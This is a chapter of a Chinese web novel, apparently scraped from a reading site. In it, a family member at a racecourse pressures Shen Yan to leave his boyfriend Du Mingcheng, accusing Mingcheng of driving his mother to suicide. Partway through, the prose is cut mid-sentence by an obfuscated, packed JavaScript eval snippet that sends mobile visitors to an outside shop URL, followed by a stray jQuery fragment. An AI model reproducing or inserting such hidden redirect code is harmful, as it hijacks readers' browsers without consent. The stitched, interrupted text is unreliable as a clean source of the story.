沈砚已经许久没来Binno马场了。

    马场跑道上几匹骏马身形精悍,紧绷的缰绳贴着骑师肩头,骏马头上的保暖护耳一晃一晃仿佛要将锦都连日来的阴冷尽数驱散。

    Binno马场的经理早早候在走廊,见人立刻大步上前,声如洪钟:“沈小姐,好久不见,风采依旧啊!”

    沈青泥弯唇笑着伸手与他交握:“许久未见,你倒是一点没变。”她环顾座无虚席的观赛台,语气熟稔,“Binno生意愈发红火,看得出来这些年你着实费心经营。”

    经理连连摆手客气道:“实在不敢居功,全靠老板亲自坐镇,马场才能撑到如今这般热闹光景,换做旁人早就难以为继了。”

    沈青泥敷衍地附和笑了几声,一番客套寒暄过后,经理才越过她的肩头,瞥见紧随其后的沈砚。

    他一拍脑门,满脸歉意地讪笑着看向沈砚:“实在是我眼拙,沈二少爷也一同过来了,方才没能第一时间认出,招待不周还望您多多担待。”

    沈砚微微颔首,语气平淡客套道:“好久不见,难得您还记得我。”

    沈青泥随口问道:“你们二人原来认识?”

    经理立刻故作惊叹地解释道:“当然认得!前几年我替老板筹办慈善晚宴,二少爷当时带着女朋友一同出席,郎才女貌,当时我和老板羡慕了许久。晚宴结束后老板还特地问我,这两位是哪家基金会的人物。说起来,您那家基金会名字是?下次您务必带女朋友一起来马场坐坐。”

    眼看经理还要口无遮拦多说,沈砚连忙出声打断:“基金会名叫NoNational,若是老板有空,我随时欢迎他做客。”

    经理连忙应下,“一定一定,您的话我必定如实转达。”

    话音刚落,一名侍者从大厅拐出来,凑到经理耳边低声汇报了几句。

    经理脸上笑意瞬间敛去,不耐地挥了挥手打发对方,转头看向两人时,神色又立刻由阴转晴:“杜三太太已经在楼上包厢等候多时,二位快请,我手头还有杂事,先失陪了。”

    沈青泥淡淡颔首,径直越过矮胖的经理往前走,倒是沈砚礼数周全地朝经理轻点了下头,快步跟上扬长而去的沈青泥。

    观赛大厅内人头攒动,此起彼伏的手机铃声盖过了场内舒缓悠扬的萨克斯乐曲。

    锦都城内玩乐项目数不胜数,可赛马永远是达官显贵、名门子弟心头最热衷的消遣,人气远比赛车、高尔夫高出数倍不止。

    就连素来狂妄自傲、目空一切的沈青泥,也常年泡在马场,只是她早年出国留学后,沈砚便再没听闻她是否还保留这个爱好。

    如今看来,时隔数年,沈青泥依旧嗜赌赛马。

    “虽然不清楚三太找你究竟有什么事,但定然和杜大少脱不开干系。”

    侍者殷勤地推开电梯门,沈青泥随手从豹纹手包里抽出几张钞票塞进对方口袋,动作干脆阔绰,这副出手豪横的模样,沈砚从前从未见过。

    电梯门缓缓合上,沈青泥伸出涂满钻饰的长指甲按下三楼按钮,又拆开一包湿纸巾。

    刺鼻的酒精味混杂着电梯内繁杂的气息扑面而来。

    沈砚本就没痊愈的感冒瞬间加重,鼻腔酸胀堵塞。

    他看着沈青泥一边擦拭指甲一边低声抱怨电梯设施简陋,忍着不适开口发问:“方才在电梯外,你那句话是什么意思?”

    “啊?”

    “就是给侍者小费之前,你说三太找我们和杜明城有关的那句话。”

    怕这位娇生惯养的大小姐记性差,沈砚将前因后果清晰复述了一遍。

    沈青泥仰头盯着电梯顶部闪烁的楼层灯,低头看向自己指甲上刺眼的钻饰,像是发现了天大的麻烦,猛地抬眼看向沈砚。

    沈砚被她突如其来的举动弄得一头雾水,正准备开口追问,便见她红唇轻启,直白吐出一句:“我操。”

    沈砚一时未反应过来,静默一瞬,“怎么了?”

    “我说我要的是高色散彩钻,美甲师居然给我用廉价普通锆石!必须投诉,纯属骗钱!也不死老母啊!”

    “叮——”电梯抵达三楼,沈青泥兀自骂个不停,随手摸出一副墨镜戴上,对着电梯镜面左顾右盼,拨弄着一头大波浪卷发,自我满意地哼起流行小调。

    沈砚沉默跟在她身后,路过镜面时随意瞥了一眼,不由得微微蹙眉。

    镜面畸变严重,把人拍得头小身长腿长,实在算不上好看。

    刚才沈青泥在照什么???

    不过短短一瞥的功夫,沈青泥踩着细高跟步履飞快走远,沈砚快走几步才勉强跟上。

    “我刚刚问你的问题,你还没有回答我。”

    “哎呀,烦不烦!”沈青泥猛地站定,烦躁地跺了跺脚,鞋跟磕在大理石地面啪啪作响。

    “不过是我的猜测罢了,哪里值得你追着问个不停。”

    沈砚那双清润沉静的眼眸静静望着她,不知为何,沈青泥莫名浑身不自在,侧过身低声道:“三太并不赞成你和杜大少来往。”

    沈砚心中了然,此番约他过来,摆明了要棒打鸳鸯啊。

    棒打鸳鸯归棒打,可他心底满是疑惑,杜明城身居杜家长房,三房与他本就没有利益纠葛,就算二人在一起,也妨碍不到三房分毫,这位三太太亲自前来棒打,未免管得太宽。

    三楼每个包厢外都守着一名侍者,见沈青泥风风火火走来,侍者连忙躬身问好,正要拉开包厢门,口袋里忽然多了几张钞票。

    沈青泥斜睨他一眼:“服务挺好,这次不投诉你了。”

    说完她径直推门而入,留下侍者站在原地,攥着小费愣神。

    他大概从未想过,轻轻松松便能拿到一笔丰厚赏赐。

    侍者转头朝着沈砚微微弯腰行礼。

    沈砚:“……”往后他绝对不跟沈青泥一起来这种地方。

    包厢内,杜宝珍站在沙发上,气鼓鼓地朝着杜明德嚷嚷:“爹地,我要看赛马,不要看别的节目!”

    她说着小身子挡在电视机前,死死遮住杜明德的视线。

    杜明德无奈摆手示意她让开,“赛马还没开场,宝珍乖,先让开。”

    杜宝珍不肯退让,鼓着一张精致小脸转头依偎向身旁杜夫人撒娇,尾音拖得软软的。

    没等她撒娇完毕,门外传来一道轻佻的嗤笑声。

    杜宝珍火气瞬间涌了上来,扭头看笑声来源,可余光瞥见紧随其后的沈砚,猛地顿住动作,抻着脖子死死盯着他。

    沈青泥全然不在意小孩子闹脾气,进门便笑着和众人寒暄:“三太,我们可是许久未见,我在国外日日惦记您。”

    说罢熟稔地坐到杜三太太身侧,拉着对方的手故作亲昵。

    杜明德冷淡地扯了扯唇角,和身旁杜夫人对视一眼,杜夫人心领神会,起身柔声哄杜宝珍:“妈咪带你去露台看赛马好不好?”

    “我不要!”杜宝珍跳下沙发,快步冲到沈砚面前,怒气冲冲地质问,“你怎么现在才来找我玩?”

    小女孩突如其来的冲撞,让沈砚本就压抑的烦闷涌上心头,他下意识蹙眉抿唇,眼底藏着不解与无奈。

    杜宝珍全然不顾他的神色,放声大叫:“你骗我!春节的时候你明明答应会来陪我玩,你说话不算话,我讨厌你!”

    她尖锐的喊声瞬间吸引包厢内所有人的目光,沈砚窘迫至极,想要弯腰抱起她安抚,杜宝珍却侧身躲开,当场嚎啕大哭。

    沈砚当即愣在原地。

    今天当真诸事不顺,麻烦一桩接着一桩找上门。

    他手足无措地站在哭闹不止的小女孩面前,往日从容淡然的模样荡然无存。

    最后还是杜夫人走上前,替哭哭啼啼的杜宝珍披上外套,牵着手带她去露台透气,包厢这才重归安静。

    沈青泥挑眉,朝沈砚递去一个意味深长的笑容,转头又自顾自地和杜三太太闲聊起无关紧要的家常。

    “实在抱歉,宝珍性子骄纵,还望你多担待。”杜明德扯出一抹客套的笑意,抬手示意沈砚落座,主动揽下杜宝珍方才撒泼的过错,“平日里太太和明城把她宠坏了,事事顺着她,等会儿她回来,我必定让她专程跟你道歉。”

    “不必如此。”沈砚径直坐在他对面的沙发,语调平淡无波,直接戳破对方的迂回,“有话不妨直说,不必拿宝珍当作遮掩的由头。”

    杜明德神色一滞,半晌才缓缓开口:“没想到你连半句多余的情面都不愿留。”

    沈砚眉眼未抬,语气干脆利落:“直说吧。”

    他与杜明德虽不算自幼一同长大,逢年过节碰面也会客套寒暄,可沈砚心里清清楚楚,杜明德从心底里瞧不上自己。

    沈家众人对他心存芥蒂,多是碍于苏月华以及他自身淡漠不争的性

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831337|211342||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子,但杜明德的排斥直白纯粹,他鄙夷沈砚看似一无长处,又总泛滥无谓的善心。

    二人表面不远不近、礼数周全,暗地里“互相看不惯”五个字几乎明晃晃写在脸上。

    方才杜明德刻意借着杜宝珍打感情牌铺垫,沈砚一眼便看穿,对方今日绝对憋不出好话。

    杜明德重重叹了口气,斟酌着字句缓缓开口:“你和明城的事传到我阿爷耳朵里了。老人家实在无法理解,明城怎么会和一个男人走到一起,如今这件事在圈子里传得人尽皆知,在我们看来,明城这次太过冲动。”

    沈砚直接出声打断,眼底掠过一层冷意:“他的选择,与杜家诸位有什么干系?即便行事冲动,后果也该由他一人承担,牵连不到旁人。”

    “所以今天你们把我叫来,是想劝我和杜明城分开?难道仅凭你们几句话,我和他就必须一刀两断?”

    说到最后,他语气不自觉加重,带着一丝不易察觉的质问,直直望向杜明德。

    沈砚素来沉稳,当年母亲苏月华将他独自丢在火车站,他都不曾有过半句怨怼,天大的变故都难让他心绪大乱。

    可如今杜明德连同整个杜家,妄图擅自敲定他与杜明城的未来,勒令二人分开,他绝不可能妥协退让。

    杜明德迎上他带着抵触的目光,反问:“怎么会和杜家无关?你不妨问问他,从被认回杜家、远赴海外留学,到如今执掌集团核心业务,哪一样不是杜家给予的?嘴上说着后果独自承担,外界铺天盖地的舆论风波,牵连集团股价项目,这些损失他当真一己之力扛得住?”

    不远处杜三太太频频侧目留意这边的动静,杜明德深吸一口气,强行压下心头火气,放缓了语调:“今日找你过来,并非有意跟你争吵。老爷子若是真心想拆散你们,有的是手段逼你主动离开,根本不会托我出面劝说。”

    “即便我心里并不赞同你和明城相伴,看在微薄的血缘份上,我奉劝你一句,趁早抽身离开。杜明城,从来算不上什么良人。”

    沈砚勾出一抹冷笑,冷冷道:“他是何种人,就不劳您费心评判了。”

    见他油盐不进,杜明德咬牙,语气里满是恨铁不成钢:“他连自己的亲生母亲都能逼死,你觉得他能是什么好人?”

    头顶电视里的影片恰好传出一声枪响,“砰”的声响骤然炸开。沈砚浑身猛地一颤,骤然抬眼盯住还在滔滔不绝的杜明德。

    杜明德浑然不觉他神色剧变,自顾自往下说:“十年前他出国前,他亲妈专程回来寻他。老爷子本打算接女人回杜家安顿,和当年认回杜明城一样妥善安置,可杜明城是什么反应?”

    “他直接拿刀架在自己脖颈上以死相逼,闹得整个杜家鸡犬不宁。他妈又气又寒,回去之后便服药自杀了。”

    “就算是牲畜尚且懂得生养之恩,她纵然未曾养育他,终究是生他的人,更是当年把他送回杜家、让他拥有如今一切的关键。这般微薄的要求他都不肯成全,你好好想想,你们继续纠缠下去,最后吃亏、落不到好下场的人只会是你。”

    一阵轻咳从旁侧传来,杜明德下意识瞥了眼三太太,余光又扫到站在一旁的沈青泥。

    隔着一段距离看不清她眼底情绪,可杜明德莫名笃定,沈青泥正冷眼旁观这场俗套的棒打鸳鸯,眼神里裹着戏谑与嘲讽,将这一幕闹剧尽收眼底。

    沈砚敛下心间翻涌的波澜,语气笃定:“我是与他并肩到现在,不会走到那一步,更何况当年事情怎样,光凭你说你觉得我能信你?”

    杜明德额头青筋突突直跳,接连深呼吸平复情绪,转头看向沈青泥,对方却早已别开视线不愿掺和。

    他只得悻悻开口:“该劝的我都说到了,怎么抉择你自己掂量。”

    既然不撞南墙不肯回头,他多说无益。

    沈砚懒得再听他居高临下的说教,只淡淡“哦”了一声敷衍应对。

    杜明德心头郁结,暗自道合着他掏心窝子劝诫的一番话,全被当成耳旁风?杜明城那小子究竟给他灌了什么迷魂汤。还有,这人怎么比闹脾气的杜宝珍还要难沟通。

    杜宝珍若是知道自己慈爱的爹地此刻在心里吐槽自己,怕是又要哭得天昏地暗,嚷嚷着讨厌爹地。

    许是顾及那一层血缘情面,又或是担心没法向老爷子交代,杜明德终究再多叮嘱一句:“别太过信任他,他不值得你耗费全部心思。”